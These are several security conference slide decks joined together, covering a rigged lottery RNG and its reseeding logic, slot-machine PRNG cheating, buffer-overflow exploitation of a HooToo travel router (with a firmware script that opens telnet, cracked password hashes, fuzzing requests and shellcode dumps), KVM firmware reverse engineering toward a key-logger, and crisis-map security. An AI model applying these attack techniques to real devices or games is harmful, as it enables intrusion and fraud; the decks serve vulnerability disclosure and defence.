© SeNet International Corp. 2017
32
July 2017
SeNet
Logic Bomb
© SeNet International Corp. 2017
33
July 2017
SeNet
Logic Bomb (Cont.)
•
At this point we also knew that all of the alleged illicit lottery wins related
to the case were on two different days: November 23rd and December
29th (November 22nd and December 28th on leap years)
•
So this function full of references to date checks and the PRNG
internals was pretty suspicious
•
Also the function was at the end of the binary (as if it had been tacked
on to the end of a source file) which was suspicious
•
At this point we were able to obtain the source code for the RNG
•
Sure enough there were 25 functions in the source code and 26
functions in the binary
© SeNet International Corp. 2017
34
July 2017
SeNet
Logic Bomb (Cont.)
© SeNet International Corp. 2017
35
July 2017
SeNet
Logic Bomb (Cont.)
© SeNet International Corp. 2017
36
July 2017
SeNet
Logic Bomb (Cont.)
•
The date calls corresponded to the two known dates of lottery rigging
•
Plus one additional date: May 27th (May 26th on leap years)
•
Additional conditions for the RNG rigging were identified and correlated
with known illicit winnings
•
For example, the RNG was only rigged on Wednesdays and Saturdays
© SeNet International Corp. 2017
37
July 2017
SeNet
Logic Bomb (Cont.)
© SeNet International Corp. 2017
38
July 2017
SeNet
Logic Bomb (Cont.)
•
The method by which the function reseeded the RNG with predictable
numbers was identified
•
Basically he just took various game parameters including the number of
numbers per draw and the maximum and minimum numbers in the
game and multiplied them together along with the number 39 and the
summed ASCII values of the letters in the computer name. Then he took
that and added it to the day of the year and added in the product of the
number of times the RNG had run since the last reboot and the year.
•
This number is then used to seed the PRNG.
•
Then he drew a quantity of numbers from the RNG corresponding the
quantity of numbers which had been drawn since the RNG last
restarted. The last number drawn was then used to seed the PRNG a
second time.
© SeNet International Corp. 2017
39
July 2017
SeNet
Why didn’t certification work?
•
The RNG was certified by one of the
major testing labs
•
The certification ran the output of the
RNG through statistical tests to
ensure unbiased results…
•
But the output of the rigged RNG was
statistically unbiased
•
The lab performed an audit of the
source code…
© SeNet International Corp. 2017
40
July 2017
SeNet
How he could have done it better
•
Rigging the lottery on only three dates made it easier to identify illegal
winnings
•
Making numbers dependent on variables like the computer name and
time of day meant he had to buy multiple tickets for each drawing
•
The method of rigging the RNG could have been more discrete
© SeNet International Corp. 2017
41
July 2017
SeNet
How can this be prevented in the
future?
•
RNG source code should undergo in-depth third-party reviews
•
The binaries (including updates) should be compiled and checked
(e.g. via Bindiff) against the binaries provided by the RNG vendor
•
The machine itself should be imaged and configured either by a
third party or in a supervised manner
© SeNet International Corp. 2017
42
July 2017
SeNet
Russian slot machine hacking
https://www.wired.com/2017/
02/russians-engineer-brilliant-
slot-machine-cheat-casinos-
no-fix/
https://www.youtube.com/wat
ch?v=W_vdoaKsP5Y (Willy
Allison World Game
Protection Conference)
© SeNet International Corp. 2017
43
July 2017
SeNet
Russian slot machine hacking (cont.)
•
In 2009 Russia made majority of gambling illegal, this led to a number of
slot machines being sold to whomever they could find
•
By 2011 casinos in Europe were noticing suspicious payouts
•
In June of 2014 in a casino in Missouri noticed unusual activity with some
slot payouts, Missouri Gaming Commission was notified
•
December of 2014 the same individuals were arrested back in Missouri
•
2016 some more were arrested and prosecuted in Singapore
© SeNet International Corp. 2017
44
July 2017
SeNet
Russian slot machine hacking (cont.)
•
Slot machine software was reversed engineered and a weakness
discovered in the PRNG
•
Phones were used to record about 24 spins
•
Data uploaded and using video footage they were able calculate the pattern
based on the slots PRNG
•
Information is transmitted to a custom app with a listing of timing marks that
cause the mobile to vibrate 0.25 seconds before the spin button should be
pressed
•
Not always successful, but the result is higher payout than expected
How did they do this?
© SeNet International Corp. 2017
45
July 2017
SeNet
What casinos and operators can do to
protect themselves
•
Understand that compliance != security
•
Similar to other verticals more budget needs to be spent on information
security
•
Operators need to question game manufacturers on their security
controls
© SeNet International Corp. 2017
46
July 2017
SeNet
Current gaming regulations with
security components
•
Maryland Gaming Commission requires an annual IT Security Assessment
be performed by an independent and approved 3rd party on an annual
basis.
•
New Jersey Division of Gaming Enforcement has written in their iGaming
standard that a security assessment be performed once a year on the
iGaming platforms. Also includes other requirements such as auditing,
password complexity, etc…
•
Various tribal Minimum Internal Controls (MICs), however, these are
typically very high-level.
•
Also your typical regulatory compliance standards (i.e. PCI)
•
Often left up to the operator to determine what level of security is
implemented.
© SeNet International Corp. 2017
47
July 2017
SeNet
Conclusion
While regulated iGaming has added additional controls there is still room from
improvement (both from operators and regulators).
In our opinion a major risk exists in the code and SDLC process (this is an
area that is not really examined by regulators).
With gaming (all formats) becoming more widely accepted across the United
States it is important the operators and regulators works together to protect
the integrity of the games.
© SeNet International Corp. 2017
48
July 2017
SeNet
Questions | pdf |
Hacking travel routers
like it’s 1999
Mikhail Sosonkin
Mikhail Sosonkin
“Synack leverages the best combination of humans and technology
to discover security vulnerabilities in our customers’ web
apps, mobile apps, IoT devices and infrastructure endpoints”
Director of R&D
Always a Student
@hexlogic
[email protected]
http://debugtrap.com
Why do this?
Breaking in.
Show me the bugs!
The End.
$ cat agenda | wc -l
4
We all just hack for fun… right?
I travel a lot
I work in cafes
I do security things
$ man y
No manual entry for y
Cuz, hackers gonna hack...
RAVPower
FileHub Plus
HooToo TripMate Elite
Travel Wireless Router
TP-Link AC750
Wireless Wi-Fi
Travel Router
And about 377 more results on Amazon.
The market delivers...
Bridging networks/MAC spoofing
Layer of network protection
Connect one device, connect
them all
Convenient small form factor
Battery pack included
Why do this?
The unboxing
We want bugs!
The End
$ cat agenda | wc -l
3
Peeking a few extra bytes...
PORT STATE SERVICE
0/tcp filtered unknown
80/tcp open http
81/tcp open hosts2-ns
5880/tcp open unknown
8201/tcp open trivnet2
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "1800253254"
Last-Modified: Mon, 29 Feb 2016 07:23:52 GMT
Content-Length: 3940
Date: Wed, 28 Jun 2017 12:13:26 GMT
Server: lighttpd/1.4.28
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 123
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=Xqo72s...
Date: Wed, 28 Jun 2017 12:13:26 GMT
nmap -p0-65535 192.168.1.1
Right-click -> inspect
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE;
Date: Sat, 24 Jun 2017 19:38:27 GMT
DATA SAVER
27.XX.XX.222
222.XX.XX.27.ap
.yournet.ne.jp
FreeBit
Co.,Ltd.
2017-06-24
19:38:32 GMT
Japan
DATA SAVER
27.XXX.XX.244
244.XX.XXX.27.a
p.yournet.ne.jp
FreeBit
Co.,Ltd.
2017-03-20
17:11:29 GMT
Japan
IOVST
111.XX.XXX.128
China Telecom
Jiangxi
2017-04-01
08:13:20 GMT
China,
Nanchang
Located
wget https://...fw-TM06-Support Special Character-2.000.030.rar
unrar x ../HT-TM06-Support Special Character-2.000.030.rar
tail -n +263 $0 | gunzip > upfs
mount upfs upfs.mount
ls ./upfs_rootfs/usr/sbin/ioos
MIPS32LE ELF (the webserver)
mount ./upfs_mount/firmware/rootfs upfs_rootfs/
The WWW’s: HooToo official page
RAR Archive
EXT2 Filesystem
Shellscript
Little Endian Squash Filesystem
Located
Firmware
$ cat ./etc/shadow
root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::
two days* with
john the ripper
All this root,
and no where
to use it
* on a reasonably priced EC2 instance
Located
Firmware
Password
If I could
just...
●
The firmware update mechanism does
not require a signed package.
#!/bin/sh
/bin/sh /etc/init.d/opentelnet.sh
exit 1{
●
Expanded, the update package is just a
shellscript
Located
Firmware
Password
Shell
check_firmware2 .text:00491118 >>
addiu $a1, (aSed13dSCksumCu - 0x530000) # "sed '1,3d' %s|cksum|cut -d' ' -f1"
lw $a2, 0x3A8+arg_0($sp)
la $t9, sprintf
nop
jalr $t9 ; sprintf
Checks Firmware update
$ file ./usr/sbin/ioos
./usr/sbin/ioos: ELF 32-bit LSB executable, MIPS,
MIPS-II version 1 (SYSV), dynamically linked (uses shared libs),
stripped
https://sourceforge.net/projects/vshttpd/ maybe? It’s an empty project
●
The firmware update mechanism does
not require a signed package.
●
Only a CRC check
#!/bin/sh
# constant
CRCSUM=2787560248
VENDOR=HooToo
PRODUCTLINE=WiFiDGRJ
SKIP=263
TARGET_OS="linux"
TARGET_ARCH="arm"
DEVICE_TYPE=HT-TM06
VERSION=2000030
CPU=7620
/bin/sh /etc/init.d/opentelnet.sh
exit 1{
●
Expanded, the update package is just a
shellscript
Located
Firmware
Password
Shell
$ telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '^]'.
HT-TM06 login: root
Password:
login: can't chdir to home directory '/root'
# ls
bin data etc home media opt sbin tmp var
boot dev etc_ro lib mnt proc sys usr www
# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344
Attached; pid = 7344
Listening on port 9999
More details: http://debugtrap.com/2017/03/19/tm06-travel-safe/
typedef void (*fcn_ptr)(struct state* self, …);
struct state {
char[20] name;
int state;
fcn_ptr func1;
fcn_ptr func2;
};
struct state* s = malloc(sizeof(struct state));
s->func1 = func1_implementation;
s->func2 = func2_implementation;
s->func1(s, 2, 3);
I is C++
Buffers before
function pointers
Dynamic function
calls
Dynamic initialization/
allocation
Variables before
function pointers
Lots of function pointers…
everywhere!
839 uses of strcpy, 2167 uses of sprintf
●
Present
○
Partial Virtual Space randomization
○
Binary and heap are fixed
○
Libraries and stack are randomized
# sysctl -A | grep kernel.randomize_va_space 2>/dev/null
kernel.randomize_va_space = 1
●
Not present
○
Stack canaries
○
Full ASLR
○
Heap protections
○
Heap/Stack NX
○
Control flow integrity
Why do this?
The unboxing
We want bugs!
The End
$ cat agenda | wc -l
2
Cybergold!
buff = ["GET /protocol.csp?fname=[[fuzz]]&opt=userlock&" +
"username=guest&function=get HTTP/1.1",
"Host: 192.168.1.1",
"Connection: keep-alive",
"Cache-Control: no-cache",
"If-Modified-Since: 0",
"User-Agent: Mozilla/5.0 (Macintosh; Intel .."
"Accept: */*",
"Referer: http://192.168.1.1/",
"Accept-Encoding: gzip, deflate, sdch",
"Accept-Language: en-US,en;q=0.8,ru;q=0.6",
"Cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE;",
>>> for i in range(1, 20000, 4):
testGet(fname= ”A” * i)
More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/
CVE-2017-9026
Located
Firmware
Password
Shell
Crash
xml_add_elem:
<snip>
.text:00512684 addiu $v0, $sp, 0x238+var_110
.text:00512688 move $a0, $v0
.text:0051268C li $a1, 0x540000
.text:00512690 nop
.text:00512694 addiu $a1, (aS_19 - 0x540000) # "</%s>"
.text:00512698 lw $a2, 0x238+element_name($sp)
.text:0051269C la $t9, sprintf
.text:005126A0 nop
.text:005126A4 jalr $t9 ; sprintf
.text:005126A8 nop
<snip>
256 bytes stack buffer
Value of fname
Located
Firmware
Password
Shell
Crash
Overflow
(gdb) x/100wx $sp+0x128
0x7f8e1f78:
0x0f242f3c
0xe001fdff
0xe001272b
0x06282728
0x7f8e1f88:
0x0224ffff
0x01015710
0xa2af0c01
0xa48fffff
0x7f8e1f98:
0x0f24ffff
0xe001fdff
0xafaf2778
0x0e3ce0ff
0x7f8e1fa8:
0xce35697a
0xaeaf697a
0x0d3ce4ff
0xad35080a
...
0x7f8e2038:
0x41414141
0x41414141
0x41414141
0x41414141
0x7f8e2048:
0x41414141
0x41414141
0x41414141
0x41414141
0x7f8e2058:
0x41414141
0x41414141
0x41414141
0x41414141
0x7f8e2068:
0x41414141
0x41414141
0x41414141
0x41414141
0x7f8e2078:
0x41414141
0x41414141
0x3e5126d0
0x0043b8d0
Program received signal SIGSEGV, Segmentation fault.
0x3e5126d0 in ?? ()
Return address on the stack
Stack pointer!
Located
Firmware
Password
Shell
Crash
Overflow
EIP!
$ ls exploit
ls: exploit: No such file or directory
Restrictions with sprintf(“</%s>) :
●
No nulls
●
output buffer follows “</%s>” format
Return to
Static
Null In
Address
Use Format
Values
Executable
Main binary
Heap
ret2libc
Stack
Located
Firmware
Password
Shell
Crash
Overflow
EIP!
Exploit
buff = ["POST /protocol.csp?fname=security&opt=userlock&"
"username=guest&function=get HTTP/1.1",
"Host: 192.168.1.1",
"Connection: keep-alive",
"Cache-Control: no-cache",
"If-Modified-Since: 0",
"User-Agent: Mozilla/5.0 (Macintosh; Intel...",
"Accept: */*",
"Referer: http://192.168.1.1/",
"Accept-Encoding: gzip, deflate, sdch",
"Accept-Language: en-US,en;q=0.8,ru;q=0.6",
"Content-length: [[shelllen]]",
"Cookie: [[cookies]]",
"",
"",
"[[shell]]"]
>>> for i in range(1, 20000, 4):
testPost(cookie= ”A” * i)
More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/
CVE-2017-9025
Located
Firmware
Password
Shell
Crash 2
lw $v0, 0x40+var_1C($sp)
nop
lw $t9, 0x10($v0)
lw $a0, 0x40+var_1C($sp)
jalr $t9 # cgi_tab_alloc
...
sw $v0, 0x40+cgi_tab($sp)
addiu $a1, (aCookie - 0x550000) # "Cookie"
jalr $t9 # ht_header_find
nop
lw $gp, 0x40+var_28($sp)
sw $v0, 0x40+cookie_value($sp)
...
lw $v1, 0x40+cgi_tab($sp)
li $v0, 0x16858
addu $v0, $v1, $v0 # cgi_tab+0x16858
move $a0, $v0 # dest
lw $a1, 0x40+cookie_value($sp) # src
la $t9, strcpy
nop
jalr $t9 ; strcpy
.text:00521A90 >>
.text:00521B9C >>
10 cgi_tab =
malloc(sizeof(cgi_tab));
// sizeof(inner buffer) = 1024
20 cookie_value =
ht_header->
ht_header_find(“Cookie”);
30 src = cookie_value;
40 dst = cgi_tab+0x16858
50 strcpy(dst, src);
// so... we send 1036 bytes!
Located
Firmware
Password
Shell
Crash 2
Overflow
Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
(gdb) x/5i 0x00521BD4
0x521bd4:
move
a0,v0
0x521bd8:
lw
a1,40(sp)
0x521bdc:
lw
t9,-28472(gp) // strcpy
0x521be0:
nop
0x521be4:
jalr
t9
(gdb) x /5i $pc-8
0x4136a8:
lw
t9,27748(v0)
0x4136ac:
lw
a0,28(sp)
=> 0x4136b0:
jalr
t9 // cgi_tab->fnc()
0x4136b4:
nop
0x4136b8:
lw
gp,16(sp)
cgi_tab->fnc()
1
2
Cookie & fcnptr
Preamble
&
Shellcode
Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
Exploit
Lots of top site still don’t use SSL: Google transparency report
Demo!
Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
Exploit
Attack
Via the browser XSRF
From within
the enclave
From the
external WiFi
$ ps -ef | grep attack
503 91038 73200 0 5:47PM ttys001 0:00.00 ./my_attack
Trojan.AndroidOS.Switcher
Why do this?
The unboxing
We want bugs!
The End
$ cat agenda | wc -l
1
That was fun...
CVE-2017-9026:
Specific: snprintf($sp+0x128, 256, “</%s>”, fname);
General: Stack canaries
CVE-2017-9025:
Specific: strncpy(dst, src, 1024);
General: (ctx->fcn ^ canary)(param);
Windows: DecodePointer
NSA has a patent on that. Sorry!
# cat /dev/attack_cases
jWs"
●
Gain an attack proxy for attribution obfuscation
●
Steal user information such as authentication tokens
●
Manipulate user activity… iframes!
●
Foothold into enterprise or private networks
#12 +(3869)- [X]
<Moot> ok, here's what we do
<Moot> we break into AOL HQ
<Moot> and instead of the AOL setup utility, we put metallica
mp3s on all of the startup cds
$ cat bug | sed 's/exploit/vendor/g'
vendor give a shell
Super polite
Entire product team off for the spring festival (Chinese New Year)
Received a personal update before it was made generally available.
“We have transmit your email and issue to our product
team. But we feel sorry that we would inform you until
2/8 because product team has day off due for Spring
Festival.” - [email protected]
$ echo "learned $?"
learned 0
Vendors do respond!
Install OpenWRT on the device.
Exploiting routers is fun.
People still use strcpy and sprintf - like they did in 1999!
“Don’t roll your own crypto”
=> “Don’t roll your own CGI webserver”
Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
Exploit
Attack
Lessons
Email: [email protected]
blog: debugtrap.com
Twitter: @H4ckerLife
Ačiū! Спасибо! Thank you!
Questions and Answers
...Catch me in the halls or online!
Mikhail Sosonkin
Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
Exploit
Attack
Lessons
Profit? | pdf |
Key-Logger, Video, Mouse
How to turn your KVM into a
raging key-logging monster
MEETTHETEAM
Yaniv Balmas
“This should theoretically work”
Security Researcher
Lior Oppenheim
“The mad scientist”
Check Point Software
Technologies
Check Point Software
Technologies
Security Researcher
TOOMANYCOMPUTERS
• Computers
• More computers
• A LOT OF COMPUTERS
WHATISKVM?
• Keyboard, Video, Mouse
• KVM Connects the same Keyboard, Video and
Mouse to one or more computers.
KVMEVOLUTION
1981
`A-B Switch`
2002
Desktop KVM
2015
Enterprise KVM
WHEREARETHEY?
• On top of your server racks.
• On your desktop.
• In your security centres.
KVMS ARE
EVERYWHERE!!
Introducing Gen-KVM
ITRUNSCODE
• On screen configuration display.
• Configurable hot-keys.
• Control device functionality through keyboard.
Exploitable?
+
+
=
First Attempt
(Funny meme here)
SOFTWARE
• Opening the KVM box.
• Manuals, Cables, Warranty and CD…
• CD contains A Firmware Upgrade Utility!
• Can the firmware be extracted from the upgrade
utility?!
• Since x86 is no new territory. we can reverse
engineer this!
MEETTHEBLOB
Low Entropy
No Strings
Undetermined Freq. Analysis
FAIL!
SERIALSNIFF
• Firmware upgrade process is done via a custom
serial connection.
• It is possible to extract the (possibly) decoded
firmware binary from the serial protocol.
• Its just a matter of analyzing the serial protocol.
PROTOCOLANALYSIS
46 55 a3 00 03 63 40 d7 85 85 32 ea e2 01 6b 85 FU£..c@◊ÖÖ2Í‚.kÖ
32 a6 d9 d6 e5 df 55 a6 d5 22 04 d6 cd 05 d5 96 2¶Ÿ÷ÂflU¶’".÷Õ.’ñ
27 85 85 d7 40 a5 d7 32 01 32 e2 85 6b ea 85 d9 'ÖÖ◊@•◊2.2‚ÖkÍÖŸ
df d5 e5 a6 55 d6 a6 04 2d 27 cd 22 d5 d6 96 85 fl’¶U÷¶.-'Õ"’÷ñÖ
a5 01 40 85 d7 d7 81 •.@Ö◊◊Å
46 55 23 00 03 63 00 24 FU#..c.$
From Device
To Device
Fixed Header
OpCode
Handshake
Data Transfer
46 55 90 00 44 49 b8 FUê.DI∏
46 55 10 00 43 ** 2d 31 ** ** 34 41 2f 31 ** ** FU..C*-1**4A/1**
32 41 00 00 4d 41 49 4e 00 00 00 56 34 32 52 34 2A..MAIN...V42R4
31 37 56 31 30 52 30 38 31 57 37 38 45 36 35 00 17V10R081W78E65.
00 a2 .¢
46 55 a0 00 43 54 d2 FU†.CT“
46 55 20 00 00 bb FU ..ª
46 55 a2 00 ** ** ** ** ** ** 2d 31 37 33 ** 41 FU¢.******-173*A
2f 31 ** ** ** 41 00 00 4d 41 49 4e 00 00 00 56 /1***A..MAIN…V
34 32 56 31 30 04 ce 19 a7 75 50 35 ca aa 6a 0a 42V10.Œ.ßuP5 ™j.
ca 8a 0a aa 01 09 8c 69 73 49 1c c0 6a c7 01 ac ä.™..åisI.¿j«.¨
7f 25 25 49 10 %%I.
46 55 22 00 00 bd FU"..Ω
46 55 a3 00 00 00 05 68 70 7d 5b af 65 05 4d ea FU£....hp}[Øe.MÍ
2d a1 4f 55 85 05 d1 04 04 b7 d8 76 05 05 7a 04 -°OUÖ.—..∑ÿv..z.
04 84 e3 17 04 05 04 04 04 ba 15 ed 32 05 ec 68 .Ñ„......∫.Ì2.Ïh
03 0f 8b 0f be 85 16 37 be 12 85 07 13 c5 b7 96 ..ã.æÖ.7æ.Ö..≈∑ñ
92 03 94 7f 05 3d 2a í.î.=*
CheckSum
Seq. Number
GUESSWHO?
FAIL!
PCBLAYOUT
Unknown
PLD
8052 Processor
External RAM
RAM Flip Flop
PCBLAYOUT
?
PCBLAYOUT
Unknown X2
PLD X2
8052 X1
External RAM X1
UARTMAGIC
• 8051\2 Chips have an integrated UART port.
• Which IC pins should be tapped?
• If we find out, the firmware could be extracted using simple
LOGIC.
NOTHINGBUTLOGIC
• 30-45 China mail shipping days later.
• We can finally use LOGIC.
TAPICPINS
• Tapping the 8052 IC UART pins using Logic Analyzer.
• Reveals the the UART port’s signals.
To UART
From UART
SIGNALANALYSIS
• Reviewing the signals in the UI.
• An obvious pattern emerges.
GREATSUCCESS?
Looks Familiar?
GREATFAIL!
46 55 90 00 44 49 b8 FUê.DI∏
46 55 10 00 43 ** 2d 31 ** ** 34 41 2f 31 ** ** FU..C*-1**4A/1**
32 41 00 00 4d 41 49 4e 00 00 00 56 34 32 52 34 2A..MAIN...V42R4
31 37 56 31 30 52 30 38 31 57 37 38 45 36 35 00 17V10R081W78E65.
00 a2 .¢
46 55 a0 00 43 54 d2 FU†.CT“
46 55 20 00 00 bb FU ..ª
46 55 a2 00 ** ** ** ** ** ** 2d 31 37 33 ** 41 FU¢.******-173*A
2f 31 ** ** ** 41 00 00 4d 41 49 4e 00 00 00 56 /1***A..MAIN…V
34 32 56 31 30 04 ce 19 a7 75 50 35 ca aa 6a 0a 42V10.Œ.ßuP5 ™j.
ca 8a 0a aa 01 09 8c 69 73 49 1c c0 6a c7 01 ac ä.™..åisI.¿j«.¨
7f 25 25 49 10 %%I.
46 55 22 00 00 bd FU"..Ω
46 55 a3 00 00 00 05 68 70 7d 5b af 65 05 4d ea FU£....hp}[Øe.MÍ
2d a1 4f 55 85 05 d1 04 04 b7 d8 76 05 05 7a 04 -°OUÖ.—..∑ÿv..z.
04 84 e3 17 04 05 04 04 04 ba 15 ed 32 05 ec 68 .Ñ„......∫.Ì2.Ïh
03 0f 8b 0f be 85 16 37 be 12 85 07 13 c5 b7 96 ..ã.æÖ.7æ.Ö..≈∑ñ
92 03 94 7f 05 3d 2a í.î.=*
46 55 a3 00 03 63 40 d7 85 85 32 ea e2 01 6b 85 FU£..c@◊ÖÖ2Í‚.kÖ
32 a6 d9 d6 e5 df 55 a6 d5 22 04 d6 cd 05 d5 96 2¶Ÿ÷ÂflU¶’".÷Õ.’ñ
27 85 85 d7 40 a5 d7 32 01 32 e2 85 6b ea 85 d9 'ÖÖ◊@•◊2.2‚ÖkÍÖŸ
df d5 e5 a6 55 d6 a6 04 2d 27 cd 22 d5 d6 96 85 fl’¶U÷¶.-'Õ"’÷ñÖ
a5 01 40 85 d7 d7 81 •.@Ö◊◊Å
46 55 23 00 03 63 00 24 FU#..c.$
BREAKINGCODE
• The BLOB is probably translated to 8051 Assembly.
• The translation is done somewhere within the 8052
chip.
• It might be possible to break the obfuscation!
REMEETTHEBLOB
Last XX Bytes are padded
with 0x53
BREAKINGCODE
0x53⊕0x53= 0x00
8051 NOP = 0x00
ALLDONE!
8051ASSEMBLY?
8051ASSEMBLY?
8051ASSEMBLY?
EVERYTHING IS 8051!!!
BREAKINGCODE
Final 8 Bytes are different.
ACLUE?
• What does these last 8 bytes mean?
• Are they a clue left for use by a mad embedded
developer?
• If we could just get some more data…
FIRMWAREDIFFS!
• We have only analyzed a single firmware version.
• Perhaps other firmware versions could be insightful.
Last 8 Bytes
Firmware Version
91 99 99 89 91 B2 99 00
3 . 3 . 3 1 2
B2 92 89 81 A1 99 A1 89
4 . 1 . 4 0 1
92 00 A1 A1 89 B2 89 91
4 . 2 . 4 1 1
91 92 A1 89 A1 A1 B2 00
4 . 2 . 4 1 4
B2 A1 A1 89 A9 00 92 91
4 . 2 . 4 1 5
A1 92 00 89 B1 91 A1 B9
4 . 2 . 4 1 6
92 00 A1 89 91 B2 A1 89
4 . 2 . 4 1 7
00 A1 92 91 C1 B2 A1 89
4 . 2 . 4 1 8
00 91 A1 B2 C9 89 A1 92
4 . 2 . 4 1 9
APATTERN?
• Listing the binary values of these “patterns” from all
firmware versions.
• If only these were ASCII values…
Value
Hex
Binary
1
0x89
10001001
2
0x91
10010001
3
0x99
10011001
4
0xA1
10100001
5
0xA9
10101001
6
0xB1
10110001
7
0xB9
10111001
8
0xC1
11000001
9
0xC9
11001001
THEYCOULDBE!
• If we shift the bits 3 positions to the right.
• We get our ASCII values!
Value
Hex
Binary
1
0x89
10001001
2
0x91
10010001
3
0x99
10011001
4
0xA1
10100001
5
0xA9
10101001
6
0xB1
10110001
7
0xB9
10111001
8
0xC1
11000001
9
0xC9
11001001
ROR 3
ASCII
00110001
1
00110010
2
00110011
3
00110100
4
00110101
5
00110110
6
00110111
7
00111000
8
00111001
9
STRINGS?
1
2
3
4
5
6
7
8 1 2
3
4
5
6 7 8
1
2
3
4
5 6 7
8
RESHUFFLE
AGCFEDBHIOKNMLJPQWSVUTRX
RESHUFFLE
1
2
3
4
5
6
7
8 1 2
3
4
5
6 7 8
1
2
3
4
5 6 7
8
A
G
C
B DEF
HI
O
K
LMN
J
PQ
W
S
TUV
R
X
Position
Original
1
1
2
7
3
3
4
6
5
5
6
4
7
2
8
8
SUCCESS!!!
Strings!
Assembly!
8051FUN
• We can now design our own “custom” firmware-
upgrade utility.
• However, we do need a basic understanding of
8051 Assembly!
8051REVIEW
+ Only 255 OP-Codes, and ~40 Instructions.
- Functions are not *really* functions.
- Just a single memory access register.
- Registers keep on changing for some reason.
KVMLOGIC
Keyboard
Emulation
HID Parsing
Hotkeys
Handling
Keyboard
LEDs Control
MALKVM
Super Secured
Network
Internet
Connected
Network
KVM
DEMOTIME | pdf |
Lives on the Line
Securing Crisis Maps in Libya, Sudan, and Pakistan
DEFCON 19 - 2011
george chamales - rogue genius llc
george chamales // DEFCON USA - 2011
The Humanitarian Technology Community
needs your help.
2
george chamales // DEFCON USA - 2011
Crisis
Aid
Information
Crisis Mapping
Platform
Reports
Aid
Aid
3
george chamales // DEFCON USA - 2011
Text
http://news.bbc.co.uk/2/hi/8460574.stm
Haiti
4
george chamales // DEFCON USA - 2011
Demande aide 4636
je suis perdu enbas
une maison 2 etage
no 147 av christophe
chanel cafour
I'm asking for help. I
am lost beneath a
house. Second Floor
147 Avenue Christophe
Chanel Carrefour
Mission
4636
5
george chamales // DEFCON USA - 2011
http://southallpakistanfloodsappeal.org/2010/08/24/urgent-appeal-for-pakistan-floods/ss-100730-pakistan-flood-05_ss_full/
Natural Disasters
Don’t Shoot Back
6
george chamales // DEFCON USA - 2011
http://southallpakistanfloodsappeal.org/2010/08/24/urgent-appeal-for-pakistan-floods/ss-100730-pakistan-flood-05_ss_full/
Pakistan
7
george chamales // DEFCON USA - 2011
8
george chamales // DEFCON USA - 2011
http://www.satsentinel.org/sites/default/files/SSP%2016%20Final%20Smaller.pdf
Sudan
9
george chamales // DEFCON USA - 2011
Site Blocked
by IP address
Obviously
Faked Reports
Inadvertent
Spam DOS
10
george chamales // DEFCON USA - 2011
Libya
REUTERS
http://warincontext.org/2011/03/08/the-fight-for-libya-6/
REUTERS
11
george chamales // DEFCON USA - 2011
Trusting
Volunteer
Analysts
Protecting
Observers
Verifying
Information
12
george chamales // DEFCON USA - 2011
January
2010
June
2011
Haiti
Libya
Syria
Bahrain
Egypt
< 18 Months
13
george chamales // DEFCON USA - 2011
http://twitter.com/#!/JosetteSheeran/status/44358346014334976
14
george chamales // DEFCON USA - 2011
“We gave Egyptian National Security a
dedicated username and password [to
access the Ushahidi platform]”
http://irevolution.net/2011/05/25/u-shahid-interviews/
15
george chamales // DEFCON USA - 2011
Capability
Attacks
Security
“Ooh Shiny!”
“Oh $#!@!”
“Don’t just stand there,
DO SOMETHING!”
16
george chamales // DEFCON USA - 2011
Users’ Identities
Compromised
Site Knocked
Offline
Deployment
Compromised
People Arrested
Lifeline Lost
Technology
Abandoned
17
george chamales // DEFCON USA - 2011
http://southallpakistanfloodsappeal.org/2010/08/24/urgent-appeal-for-pakistan-floods/ss-100730-pakistan-flood-05_ss_full/
This is where
you come in
18
george chamales // DEFCON USA - 2011
Present What’s Been Done So Far
Feedback on Current Best Practices
Generate Interest in the Security Community
19
george chamales // DEFCON USA - 2011
Live Simulation
Insert
Crisis
Here
20
george chamales // DEFCON USA - 2011
There has just been a ___________
in the country of _____________.
As a team from ____________ we
are responsible for deploying a crisis
map in order to ______________.
21
george chamales // DEFCON USA - 2011
There has just been a ___________
Revolution
Natural Disaster
Military Crackdown
Contested Election
Outbreak of Sectarian Violence
22
george chamales // DEFCON USA - 2011
http://upload.wikimedia.org/wikipedia/commons/0/09/BlankMap-World-v2.png
...in the country of ___________
23
george chamales // DEFCON USA - 2011
Statement
Bull#$!@
New Idea
Spanish
Inquisition
24
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
on the GRound
...as a team from the __________
Media
Org
25
george chamales // DEFCON USA - 2011
http://news.yahoo.com/iranian-blogger-arrested-germany-trip-150454623.html
http://www.guardian.co.uk/commentisfree/2011/apr/24/egypt-blogger-maikel-nabil-jailed
http://www.cpj.org/2011/04/bahraini-blogger-dies-in-custody-journalists-under.php
26
george chamales // DEFCON USA - 2011
“We gave Egyptian National Security a
dedicated username and password [to
access the Ushahidi platform]”
http://irevolution.net/2011/05/25/u-shahid-interviews/
27
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
Media
Org
Most
Vulnerable
Least
Vulnerable
Direct Attacks
28
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
Media
Org
29
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
Media
Org
30
george chamales // DEFCON USA - 2011
Individual
Local
NGO
International
NGO
Military
Media
Org
31
george chamales // DEFCON USA - 2011
Reputation
TED Fellow
Colleague’s
Consulting
